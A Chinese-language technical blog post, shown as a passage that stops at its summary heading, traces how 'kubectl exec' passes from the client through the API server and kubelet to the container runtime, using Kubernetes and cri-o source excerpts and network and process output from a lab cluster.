&lt;p&gt;上周五，一个同事问了我一个问题——如何使用 client-go 在 Pod 中执行命令。我答不出来，而且注意到我从来没想过 &lt;code&gt;kubectl exec&lt;/code&gt; 的实现机制。我对这个问题有一点认识，但又不是很确定。我记下了这个题目，进行了一番探索，在阅读了大量博客、文档和代码之后，收获了很多知识。本文中我会分享这个过程中的理解和发现。&lt;/p&gt;

&lt;h2 id=&#34;环境&#34;&gt;环境&lt;/h2&gt;

&lt;p&gt;我使用 &lt;a href=&#34;https://github.com/ecomm-integration-ballerina/kubernetes-cluster&#34; target=&#34;_blank&#34;&gt;https://github.com/ecomm-integration-ballerina/kubernetes-cluster&lt;/a&gt; 中的工具在我的 Macbook 上创建 Kubernetes 集群。缺省配置不允许运行 &lt;code&gt;kubectl exec&lt;/code&gt;，我在 Kubelet 配置中修改了 IP 地址，具体原因参见博客：&lt;a href=&#34;https://medium.com/@joatmon08/playing-with-kubeadm-in-vagrant-machines-part-2-bac431095706&#34; target=&#34;_blank&#34;&gt;Playing with kubeadm in Vagrant Machines&lt;/a&gt;。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;Any machine = my MacBook
IP of master node = 192.168.205.10
IP of worker node = 192.168.205.11
API server port = 6443
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;组件&#34;&gt;组件&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;images/components.png&#34; alt=&#34;components&#34; /&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;kubectl exec&lt;/code&gt; 进程：在我们运行 &lt;code&gt;kubectl exec&lt;/code&gt; 时，会启动一个进程。可以在任何一台能够访问到 Kubernetes API Server 的机器上运行该命令。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;api-server&lt;/code&gt;：运行在 Master 上，提供开放的 Kubernetes API，它是 Kubernetes 控制平面的前端。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;kubelet&lt;/code&gt;：在集群所有节点上都会运行这个进程，它负责让容器以 Pod 的模式运行。&lt;/li&gt;
&lt;li&gt;容器运行时：负责运行容器，例如 Docker、cri-o、containerd&amp;hellip;&lt;/li&gt;
&lt;li&gt;内核：工作节点上的操作系统内核，负责管理进程。&lt;/li&gt;
&lt;li&gt;目标容器：组成 Pod 的容器，在工作节点上运行。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;探索&#34;&gt;探索&lt;/h2&gt;

&lt;h3 id=&#34;客户端的活动&#34;&gt;客户端的活动&lt;/h3&gt;

&lt;p&gt;在缺省命名空间中创建一个 Pod：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;# kubectl run exec-test-nginx --image=nginx
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;执行 &lt;code&gt;sleep 5000&lt;/code&gt;，来进行观察：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;# ps -ef |grep kubectl
501  8507  8409   0  7:19PM ttys000    0:00.13 kubectl exec -it exec-test-nginx-6558988d5-fgxgg -- sh
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;检查该进程的网络活动，会看到连接到 API Server 的通信（192.168.205.10.6443）&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;$ netstat -atnv |grep 8507
tcp4       0      0  192.168.205.1.51673    192.168.205.10.6443    ESTABLISHED 131072 131768   8507      0 0x0102 0x00000020
tcp4       0      0  192.168.205.1.51672    192.168.205.10.6443    ESTABLISHED 131072 131768   8507      0 0x0102 0x00000028
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;再看看代码。&lt;code&gt;kubectl&lt;/code&gt; 发起了一个包含 &lt;code&gt;exec&lt;/code&gt; 子资源的 POST 请求：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-go&#34;&gt;req := restClient.Post().
        Resource(&amp;quot;pods&amp;quot;).
        Name(pod.Name).
        Namespace(pod.Namespace).
        SubResource(&amp;quot;exec&amp;quot;)
req.VersionedParams(&amp;amp;corev1.PodExecOptions{
        Container: containerName,
        Command:   p.Command,
        Stdin:     p.Stdin,
        Stdout:    p.Out != nil,
        Stderr:    p.ErrOut != nil,
        TTY:       t.Raw,
}, scheme.ParameterCodec)

return p.Executor.Execute(&amp;quot;POST&amp;quot;, req.URL(), p.Config, p.In, p.Out, p.ErrOut, t.Raw, sizeQueue)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&#34;images/rest-request.png&#34; alt=&#34;rest-request.png&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;master-上的活动&#34;&gt;Master 上的活动&lt;/h3&gt;

&lt;p&gt;在 API Server 端当然也能观察到请求的情况：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;handler.go:143] kube-apiserver: POST &amp;quot;/api/v1/namespaces/default/pods/exec-test-nginx-6558988d5-fgxgg/exec&amp;quot; satisfied by gorestful with webservice /api/v1
upgradeaware.go:261] Connecting to backend proxy (intercepting redirects) https://192.168.205.11:10250/exec/default/exec-test-nginx-6558988d5-fgxgg/exec-test-nginx?command=sh&amp;amp;input=1&amp;amp;output=1&amp;amp;tty=1
Headers: map[Connection:[Upgrade] Content-Length:[0] Upgrade:[SPDY/3.1] User-Agent:[kubectl/v1.12.10 (darwin/amd64) kubernetes/e3c1340] X-Forwarded-For:[192.168.205.1] X-Stream-Protocol-Version:[v4.channel.k8s.io v3.channel.k8s.io v2.channel.k8s.io channel.k8s.io]]
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
&lt;p&gt;HTTP 请求中包含了协议升级的请求，SPDY 允许在单个 TCP 连接上复用独立的 stdin/stdout/stderr/spdy-error 流。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;API Server 收到请求，绑定到 &lt;code&gt;PodExecOptions&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-go&#34;&gt;// PodExecOptions is the query options to a Pod&#39;s remote exec call
type PodExecOptions struct {
        metav1.TypeMeta

        // Stdin if true indicates that stdin is to be redirected for the exec call
        Stdin bool

        // Stdout if true indicates that stdout is to be redirected for the exec call
        Stdout bool

        // Stderr if true indicates that stderr is to be redirected for the exec call
        Stderr bool

        // TTY if true indicates that a tty will be allocated for the exec call
        TTY bool

        // Container in which to execute the command.
        Container string

        // Command is the remote command to execute; argv array; not executed within a shell.
        Command []string
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;为了执行必要的动作，API Server 需要知道联系地址：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-go&#34;&gt;// ExecLocation returns the exec URL for a pod container. If opts.Container is blank
// and only one container is present in the pod, that container is used.
func ExecLocation(
        getter ResourceGetter,
        connInfo client.ConnectionInfoGetter,
        ctx context.Context,
        name string,
        opts *api.PodExecOptions,
) (*url.URL, http.RoundTripper, error) {
        return streamLocation(getter, connInfo, ctx, name, opts, opts.Container, &amp;quot;exec&amp;quot;)
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;当然这个端点是来自 Node：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-go&#34;&gt;nodeName := types.NodeName(pod.Spec.NodeName)
if len(nodeName) == 0 {
        // If pod has not been assigned a host, return an empty location
        return nil, nil, errors.NewBadRequest(fmt.Sprintf(&amp;quot;pod %s does not have a host assigned&amp;quot;, name))
}
nodeInfo, err := connInfo.GetConnectionInfo(ctx, nodeName)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Kubelet 提供了一个端口，API Server 可以进行连接：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-go&#34;&gt;// GetConnectionInfo retrieves connection info from the status of a Node API object.
func (k *NodeConnectionInfoGetter) GetConnectionInfo(ctx context.Context, nodeName types.NodeName) (*ConnectionInfo, error) {
        node, err := k.nodes.Get(ctx, string(nodeName), metav1.GetOptions{})
        if err != nil {
                return nil, err
        }

        // Find a kubelet-reported address, using preferred address type
        host, err := nodeutil.GetPreferredNodeAddress(node, k.preferredAddressTypes)
        if err != nil {
                return nil, err
        }

        // Use the kubelet-reported port, if present
        port := int(node.Status.DaemonEndpoints.KubeletEndpoint.Port)
        if port &amp;lt;= 0 {
                port = k.defaultPort
        }

        return &amp;amp;ConnectionInfo{
                Scheme:    k.scheme,
                Hostname:  host,
                Port:      strconv.Itoa(port),
                Transport: k.transport,
        }, nil
}
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&#34;https://kubernetes.io/docs/concepts/architecture/master-node-communication/#apiserver-to-kubelet&#34; target=&#34;_blank&#34;&gt;API Server to Kubelet&lt;/a&gt;
Kubelet 开放的是一个 HTTPS 端点。缺省情况下 API Server 是不会验证 Kubelet 的服务证书的，这样这个连接就存在遭到中间人攻击的隐患，在不受信任的或者公开的网络上运行是不安全的。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;现在，API Server 得到了端点地址，打开连接：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-go&#34;&gt;// Connect returns a handler for the pod exec proxy
func (r *ExecREST) Connect(ctx context.Context, name string, opts runtime.Object, responder rest.Responder) (http.Handler, error) {
        execOpts, ok := opts.(*api.PodExecOptions)
        if !ok {
                return nil, fmt.Errorf(&amp;quot;invalid options object: %#v&amp;quot;, opts)
        }
        location, transport, err := pod.ExecLocation(r.Store, r.KubeletConn, ctx, name, execOpts)
        if err != nil {
                return nil, err
        }
        return newThrottledUpgradeAwareProxyHandler(location, transport, false, true, true, responder), nil
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;看看 Master 上发生了什么。&lt;/p&gt;

&lt;p&gt;首先确定一下工作节点的 IP，这里是 &lt;code&gt;192.168.205.11&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl get nodes k8s-node-1 -o wide
NAME         STATUS   ROLES    AGE   VERSION   INTERNAL-IP      EXTERNAL-IP   OS-IMAGE             KERNEL-VERSION      CONTAINER-RUNTIME
k8s-node-1   Ready    &amp;lt;none&amp;gt;   9h    v1.15.3   192.168.205.11   &amp;lt;none&amp;gt;        Ubuntu 16.04.6 LTS   4.4.0-159-generic   docker://17.3.3
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;然后查找 Kubelet 的端口号：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl get nodes k8s-node-1 -o jsonpath=&#39;{.status.daemonEndpoints.kubeletEndpoint}&#39;
map[Port:10250]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接下来看看是不是存在到工作节点的连接？看到连接之后，如果杀掉 &lt;code&gt;exec&lt;/code&gt; 进程，这个连接就会消失。这说明这个连接是 API Server 响应 &lt;code&gt;exec&lt;/code&gt; 请求而生成的：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ netstat -atn |grep 192.168.205.11
tcp        0      0 192.168.205.10:37870    192.168.205.11:10250    ESTABLISHED
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&#34;images/api-server-to-kubelet.png&#34; alt=&#34;api-server-to-kubelet.png&#34; /&gt;&lt;/p&gt;

&lt;p&gt;目前为止，kubectl 和 API Server 之间的连接还存在，并且 API Server 和 Kubelet 之间也建立了连接。&lt;/p&gt;

&lt;h3 id=&#34;工作节点上的活动&#34;&gt;工作节点上的活动&lt;/h3&gt;

&lt;p&gt;接下来我们连接到工作节点上，看看这里发生了什么。&lt;/p&gt;

&lt;p&gt;首先我们同样能看到连接，第二行显示了 Master 的地址：&lt;code&gt;192.168.205.10&lt;/code&gt;。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;// worker node
$ netstat -atn |grep 10250
tcp6       0      0 :::10250                :::*                    LISTEN
tcp6       0      0 192.168.205.11:10250    192.168.205.10:37870    ESTABLISHED
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;我们的 sleep 命令呢？也可以看到：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;// worker node
$ ps -afx
...
31463 ?        Sl     0:00      \_ docker-containerd-shim 7d974065bbb3107074ce31c51f5ef40aea8dcd535ae11a7b8f2dd180b8ed583a /var/run/docker/libcontainerd/7d974065bbb3107074ce31c51
31478 pts/0    Ss     0:00          \_ sh
31485 pts/0    S+     0:00              \_ sleep 5000
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Kubelet 是如何做到的？&lt;/p&gt;

&lt;p&gt;Kubelet 提供了一个服务端口，用来响应 API Server 的请求：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-go&#34;&gt;// Server is the library interface to serve the stream requests.
type Server interface {
        http.Handler

        // Get the serving URL for the requests.
        // Requests must not be nil. Responses may be nil iff an error is returned.
        GetExec(*runtimeapi.ExecRequest) (*runtimeapi.ExecResponse, error)
        GetAttach(req *runtimeapi.AttachRequest) (*runtimeapi.AttachResponse, error)
        GetPortForward(*runtimeapi.PortForwardRequest) (*runtimeapi.PortForwardResponse, error)

        // Start the server.
        // addr is the address to serve on (address:port) stayUp indicates whether the server should
        // listen until Stop() is called, or automatically stop after all expected connections are
        // closed. Calling Get{Exec,Attach,PortForward} increments the expected connection count.
        // Function does not return until the server is stopped.
        Start(stayUp bool) error
        // Stop the server, and terminate any open connections.
        Stop() error
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Kubelet 为 exec 请求生成一个响应端点：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-go&#34;&gt;func (s *server) GetExec(req *runtimeapi.ExecRequest) (*runtimeapi.ExecResponse, error) {
        if err := validateExecRequest(req); err != nil {
                return nil, err
        }
        token, err := s.cache.Insert(req)
        if err != nil {
                return nil, err
        }
        return &amp;amp;runtimeapi.ExecResponse{
                Url: s.buildURL(&amp;quot;exec&amp;quot;, token),
        }, nil
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;它返回的不是命令结果，而是一个用于通信的端点：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-go&#34;&gt;type ExecResponse struct {
        // Fully qualified URL of the exec streaming server.
        Url                  string   `protobuf:&amp;quot;bytes,1,opt,name=url,proto3&amp;quot; json:&amp;quot;url,omitempty&amp;quot;`
        XXX_NoUnkeyedLiteral struct{} `json:&amp;quot;-&amp;quot;`
        XXX_sizecache        int32    `json:&amp;quot;-&amp;quot;`
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Kubelet 实现了一个 CRI 规范中的 &lt;code&gt;RuntimeServiceClient&lt;/code&gt; 接口：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-go&#34;&gt;// For semantics around ctx use and closing/ending streaming RPCs, please refer to https://godoc.org/google.golang.org/grpc#ClientConn.NewStream.
type RuntimeServiceClient interface {
        // Version returns the runtime name, runtime version, and runtime API version.
        Version(ctx context.Context, in *VersionRequest, opts ...grpc.CallOption) (*VersionResponse, error)
        // RunPodSandbox creates and starts a pod-level sandbox. Runtimes must ensure
        // the sandbox is in the ready state on success.
        RunPodSandbox(ctx context.Context, in *RunPodSandboxRequest, opts ...grpc.CallOption) (*RunPodSandboxResponse, error)
        // StopPodSandbox stops any running process that is part of the sandbox and
        // reclaims network resources (e.g., IP addresses) allocated to the sandbox.
        // If there are any running containers in the sandbox, they must be forcibly
        // terminated.
        // This call is idempotent, and must not return an error if all relevant
        // resources have already been reclaimed. kubelet will call StopPodSandbox
        // at least once before calling RemovePodSandbox. It will also attempt to
        // reclaim resources eagerly, as soon as a sandbox is not needed. Hence,
        // multiple StopPodSandbox calls are expected.
        StopPodSandbox(ctx context.Context, in *StopPodSandboxRequest, opts ...grpc.CallOption) (*StopPodSandboxResponse, error)
        // RemovePodSandbox removes the sandbox. If there are any running containers
        // in the sandbox, they must be forcibly terminated and removed.
        // This call is idempotent, and must not return an error if the sandbox has
        // already been removed.
        RemovePodSandbox(ctx context.Context, in *RemovePodSandboxRequest, opts ...grpc.CallOption) (*RemovePodSandboxResponse, error)
        // PodSandboxStatus returns the status of the PodSandbox. If the PodSandbox is not
        // present, returns an error.
        PodSandboxStatus(ctx context.Context, in *PodSandboxStatusRequest, opts ...grpc.CallOption) (*PodSandboxStatusResponse, error)
        // ListPodSandbox returns a list of PodSandboxes.
        ListPodSandbox(ctx context.Context, in *ListPodSandboxRequest, opts ...grpc.CallOption) (*ListPodSandboxResponse, error)
        // CreateContainer creates a new container in specified PodSandbox
        CreateContainer(ctx context.Context, in *CreateContainerRequest, opts ...grpc.CallOption) (*CreateContainerResponse, error)
        // StartContainer starts the container.
        StartContainer(ctx context.Context, in *StartContainerRequest, opts ...grpc.CallOption) (*StartContainerResponse, error)
        // StopContainer stops a running container with a grace period (i.e., timeout).
        // This call is idempotent, and must not return an error if the container has
        // already been stopped.
        // TODO: what must the runtime do after the grace period is reached?
        StopContainer(ctx context.Context, in *StopContainerRequest, opts ...grpc.CallOption) (*StopContainerResponse, error)
        // RemoveContainer removes the container. If the container is running, the
        // container must be forcibly removed.
        // This call is idempotent, and must not return an error if the container has
        // already been removed.
        RemoveContainer(ctx context.Context, in *RemoveContainerRequest, opts ...grpc.CallOption) (*RemoveContainerResponse, error)
        // ListContainers lists all containers by filters.
        ListContainers(ctx context.Context, in *ListContainersRequest, opts ...grpc.CallOption) (*ListContainersResponse, error)
        // ContainerStatus returns status of the container. If the container is not
        // present, returns an error.
        ContainerStatus(ctx context.Context, in *ContainerStatusRequest, opts ...grpc.CallOption) (*ContainerStatusResponse, error)
        // UpdateContainerResources updates ContainerConfig of the container.
        UpdateContainerResources(ctx context.Context, in *UpdateContainerResourcesRequest, opts ...grpc.CallOption) (*UpdateContainerResourcesResponse, error)
        // ReopenContainerLog asks runtime to reopen the stdout/stderr log file
        // for the container. This is often called after the log file has been
        // rotated. If the container is not running, container runtime can choose
        // to either create a new log file and return nil, or return an error.
        // Once it returns error, new container log file MUST NOT be created.
        ReopenContainerLog(ctx context.Context, in *ReopenContainerLogRequest, opts ...grpc.CallOption) (*ReopenContainerLogResponse, error)
        // ExecSync runs a command in a container synchronously.
        ExecSync(ctx context.Context, in *ExecSyncRequest, opts ...grpc.CallOption) (*ExecSyncResponse, error)
        // Exec prepares a streaming endpoint to execute a command in the container.
        Exec(ctx context.Context, in *ExecRequest, opts ...grpc.CallOption) (*ExecResponse, error)
        // Attach prepares a streaming endpoint to attach to a running container.
        Attach(ctx context.Context, in *AttachRequest, opts ...grpc.CallOption) (*AttachResponse, error)
        // PortForward prepares a streaming endpoint to forward ports from a PodSandbox.
        PortForward(ctx context.Context, in *PortForwardRequest, opts ...grpc.CallOption) (*PortForwardResponse, error)
        // ContainerStats returns stats of the container. If the container does not
        // exist, the call returns an error.
        ContainerStats(ctx context.Context, in *ContainerStatsRequest, opts ...grpc.CallOption) (*ContainerStatsResponse, error)
        // ListContainerStats returns stats of all running containers.
        ListContainerStats(ctx context.Context, in *ListContainerStatsRequest, opts ...grpc.CallOption) (*ListContainerStatsResponse, error)
        // UpdateRuntimeConfig updates the runtime configuration based on the given request.
        UpdateRuntimeConfig(ctx context.Context, in *UpdateRuntimeConfigRequest, opts ...grpc.CallOption) (*UpdateRuntimeConfigResponse, error)
        // Status returns the status of the runtime.
        Status(ctx context.Context, in *StatusRequest, opts ...grpc.CallOption) (*StatusResponse, error)
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;使用 gRPC 通过 CRI 调用方法：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-go&#34;&gt;type runtimeServiceClient struct {
        cc *grpc.ClientConn
}
&lt;/code&gt;&lt;/pre&gt;

&lt;pre&gt;&lt;code class=&#34;language-go&#34;&gt;func (c *runtimeServiceClient) Exec(ctx context.Context, in *ExecRequest, opts ...grpc.CallOption) (*ExecResponse, error) {
        out := new(ExecResponse)
        err := c.cc.Invoke(ctx, &amp;quot;/runtime.v1alpha2.RuntimeService/Exec&amp;quot;, in, out, opts...)
        if err != nil {
                return nil, err
        }
        return out, nil
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;容器运行时负责实现 &lt;code&gt;RuntimeServiceServer&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-go&#34;&gt;// RuntimeServiceServer is the server API for RuntimeService service.
type RuntimeServiceServer interface {
        // Version returns the runtime name, runtime version, and runtime API version.
        Version(context.Context, *VersionRequest) (*VersionResponse, error)
        // RunPodSandbox creates and starts a pod-level sandbox. Runtimes must ensure
        // the sandbox is in the ready state on success.
        RunPodSandbox(context.Context, *RunPodSandboxRequest) (*RunPodSandboxResponse, error)
        // StopPodSandbox stops any running process that is part of the sandbox and
        // reclaims network resources (e.g., IP addresses) allocated to the sandbox.
        // If there are any running containers in the sandbox, they must be forcibly
        // terminated.
        // This call is idempotent, and must not return an error if all relevant
        // resources have already been reclaimed. kubelet will call StopPodSandbox
        // at least once before calling RemovePodSandbox. It will also attempt to
        // reclaim resources eagerly, as soon as a sandbox is not needed. Hence,
        // multiple StopPodSandbox calls are expected.
        StopPodSandbox(context.Context, *StopPodSandboxRequest) (*StopPodSandboxResponse, error)
        // RemovePodSandbox removes the sandbox. If there are any running containers
        // in the sandbox, they must be forcibly terminated and removed.
        // This call is idempotent, and must not return an error if the sandbox has
        // already been removed.
        RemovePodSandbox(context.Context, *RemovePodSandboxRequest) (*RemovePodSandboxResponse, error)
        // PodSandboxStatus returns the status of the PodSandbox. If the PodSandbox is not
        // present, returns an error.
        PodSandboxStatus(context.Context, *PodSandboxStatusRequest) (*PodSandboxStatusResponse, error)
        // ListPodSandbox returns a list of PodSandboxes.
        ListPodSandbox(context.Context, *ListPodSandboxRequest) (*ListPodSandboxResponse, error)
        // CreateContainer creates a new container in specified PodSandbox
        CreateContainer(context.Context, *CreateContainerRequest) (*CreateContainerResponse, error)
        // StartContainer starts the container.
        StartContainer(context.Context, *StartContainerRequest) (*StartContainerResponse, error)
        // StopContainer stops a running container with a grace period (i.e., timeout).
        // This call is idempotent, and must not return an error if the container has
        // already been stopped.
        // TODO: what must the runtime do after the grace period is reached?
        StopContainer(context.Context, *StopContainerRequest) (*StopContainerResponse, error)
        // RemoveContainer removes the container. If the container is running, the
        // container must be forcibly removed.
        // This call is idempotent, and must not return an error if the container has
        // already been removed.
        RemoveContainer(context.Context, *RemoveContainerRequest) (*RemoveContainerResponse, error)
        // ListContainers lists all containers by filters.
        ListContainers(context.Context, *ListContainersRequest) (*ListContainersResponse, error)
        // ContainerStatus returns status of the container. If the container is not
        // present, returns an error.
        ContainerStatus(context.Context, *ContainerStatusRequest) (*ContainerStatusResponse, error)
        // UpdateContainerResources updates ContainerConfig of the container.
        UpdateContainerResources(context.Context, *UpdateContainerResourcesRequest) (*UpdateContainerResourcesResponse, error)
        // ReopenContainerLog asks runtime to reopen the stdout/stderr log file
        // for the container. This is often called after the log file has been
        // rotated. If the container is not running, container runtime can choose
        // to either create a new log file and return nil, or return an error.
        // Once it returns error, new container log file MUST NOT be created.
        ReopenContainerLog(context.Context, *ReopenContainerLogRequest) (*ReopenContainerLogResponse, error)
        // ExecSync runs a command in a container synchronously.
        ExecSync(context.Context, *ExecSyncRequest) (*ExecSyncResponse, error)
        // Exec prepares a streaming endpoint to execute a command in the container.
        Exec(context.Context, *ExecRequest) (*ExecResponse, error)
        // Attach prepares a streaming endpoint to attach to a running container.
        Attach(context.Context, *AttachRequest) (*AttachResponse, error)
        // PortForward prepares a streaming endpoint to forward ports from a PodSandbox.
        PortForward(context.Context, *PortForwardRequest) (*PortForwardResponse, error)
        // ContainerStats returns stats of the container. If the container does not
        // exist, the call returns an error.
        ContainerStats(context.Context, *ContainerStatsRequest) (*ContainerStatsResponse, error)
        // ListContainerStats returns stats of all running containers.
        ListContainerStats(context.Context, *ListContainerStatsRequest) (*ListContainerStatsResponse, error)
        // UpdateRuntimeConfig updates the runtime configuration based on the given request.
        UpdateRuntimeConfig(context.Context, *UpdateRuntimeConfigRequest) (*UpdateRuntimeConfigResponse, error)
        // Status returns the status of the runtime.
        Status(context.Context, *StatusRequest) (*StatusResponse, error)
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&#34;images/kubelet-to-container-runtime.png&#34; alt=&#34;kubelet-to-container-runtime.png&#34; /&gt;&lt;/p&gt;

&lt;p&gt;既然如此，我们就该看看 Kubelet 和容器运行时之间的连接。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;// worker node
$ ss -a -p |grep kubelet
...
u_str  ESTAB      0      0       * 157937                * 157387                users:((&amp;quot;kubelet&amp;quot;,pid=5714,fd=33))
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在 Kubelet（PID=5714）和 Docker 之间有一个新的 Unix Socket 连接：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;// worker node
$ ss -a -p |grep 157387
...
u_str  ESTAB      0      0       * 157937                * 157387                users:((&amp;quot;kubelet&amp;quot;,pid=5714,fd=33))
u_str  ESTAB      0      0      /var/run/docker.sock 157387                * 157937                users:((&amp;quot;dockerd&amp;quot;,pid=1186,fd=14))
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;是 Docker 守护进程（PID 1186）执行了我们的命令：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;// worker node.
$ ps -afx
...
 1186 ?        Ssl    0:55 /usr/bin/dockerd -H fd://
17784 ?        Sl     0:00      \_ docker-containerd-shim 53a0a08547b2f95986402d7f3b3e78702516244df049ba6c5aa012e81264aa3c /var/run/docker/libcontainerd/53a0a08547b2f95986402d7f3
17801 pts/2    Ss     0:00          \_ sh
17827 pts/2    S+     0:00              \_ sleep 5000
...
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;容器运行时的活动&#34;&gt;容器运行时的活动&lt;/h3&gt;

&lt;p&gt;看看 cri-o 的源码，了解一下相关内容。运行逻辑和 Docker 类似。&lt;/p&gt;

&lt;p&gt;它提供了一个服务，实现了 &lt;code&gt;RuntimeServiceServer&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-go&#34;&gt;// Server implements the RuntimeService and ImageService
type Server struct {
        config          libconfig.Config
        seccompProfile  *seccomp.Seccomp
        stream          StreamService
        netPlugin       ocicni.CNIPlugin
        hostportManager hostport.HostPortManager

        appArmorProfile string
        hostIP          string
        bindAddress     string

        *lib.ContainerServer
        monitorsChan      chan struct{}
        defaultIDMappings *idtools.IDMappings
        systemContext     *types.SystemContext // Never nil

        updateLock sync.RWMutex

        seccompEnabled  bool
        appArmorEnabled bool
}
&lt;/code&gt;&lt;/pre&gt;

&lt;pre&gt;&lt;code class=&#34;language-go&#34;&gt;// Exec prepares a streaming endpoint to execute a command in the container.
func (s *Server) Exec(ctx context.Context, req *pb.ExecRequest) (resp *pb.ExecResponse, err error) {
        const operation = &amp;quot;exec&amp;quot;
        defer func() {
                recordOperation(operation, time.Now())
                recordError(operation, err)
        }()

        resp, err = s.getExec(req)
        if err != nil {
                return nil, fmt.Errorf(&amp;quot;unable to prepare exec endpoint: %v&amp;quot;, err)
        }

        return resp, nil
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;链条的最后一环，容器运行时在工作节点上执行命令：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-go&#34;&gt;// ExecContainer prepares a streaming endpoint to execute a command in the container.
func (r *runtimeOCI) ExecContainer(c *Container, cmd []string, stdin io.Reader, stdout, stderr io.WriteCloser, tty bool, resize &amp;lt;-chan remotecommand.TerminalSize) error {
        processFile, err := prepareProcessExec(c, cmd, tty)
        if err != nil {
                return err
        }
        defer os.RemoveAll(processFile.Name())

        args := []string{rootFlag, r.root, &amp;quot;exec&amp;quot;}
        args = append(args, &amp;quot;--process&amp;quot;, processFile.Name(), c.ID())
        execCmd := exec.Command(r.path, args...)
        if v, found := os.LookupEnv(&amp;quot;XDG_RUNTIME_DIR&amp;quot;); found {
                execCmd.Env = append(execCmd.Env, fmt.Sprintf(&amp;quot;XDG_RUNTIME_DIR=%s&amp;quot;, v))
        }
        var cmdErr, copyError error
        if tty {
                cmdErr = ttyCmd(execCmd, stdin, stdout, resize)
        } else {
                if stdin != nil {
                        // Use an os.Pipe here as it returns true *os.File objects.
                        // This way, if you run &#39;kubectl exec &amp;lt;pod&amp;gt; -i bash&#39; (no tty) and type &#39;exit&#39;,
                        // the call below to execCmd.Run() can unblock because its Stdin is the read half
                        // of the pipe.
                        r, w, err := os.Pipe()
                        if err != nil {
                                return err
                        }
                        go func() { _, copyError = pools.Copy(w, stdin) }()

                        execCmd.Stdin = r
                }
                if stdout != nil {
                        execCmd.Stdout = stdout
                }
                if stderr != nil {
                        execCmd.Stderr = stderr
                }

                cmdErr = execCmd.Run()
        }

        if copyError != nil {
                return copyError
        }
        if exitErr, ok := cmdErr.(*exec.ExitError); ok {
                return &amp;amp;utilexec.ExitErrorWrapper{ExitError: exitErr}
        }
        return cmdErr
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&#34;images/container-runtime-to-kernel.png&#34; alt=&#34;container-runtime-to-kernel&#34; /&gt;&lt;/p&gt;

&lt;p&gt;最后，内核执行了任务：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/kernel-puts.png&#34; alt=&#34;kernel-puts.png&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;总结&#34;&gt;总结&lt;/h2&gt;

&lt;ul&gt;
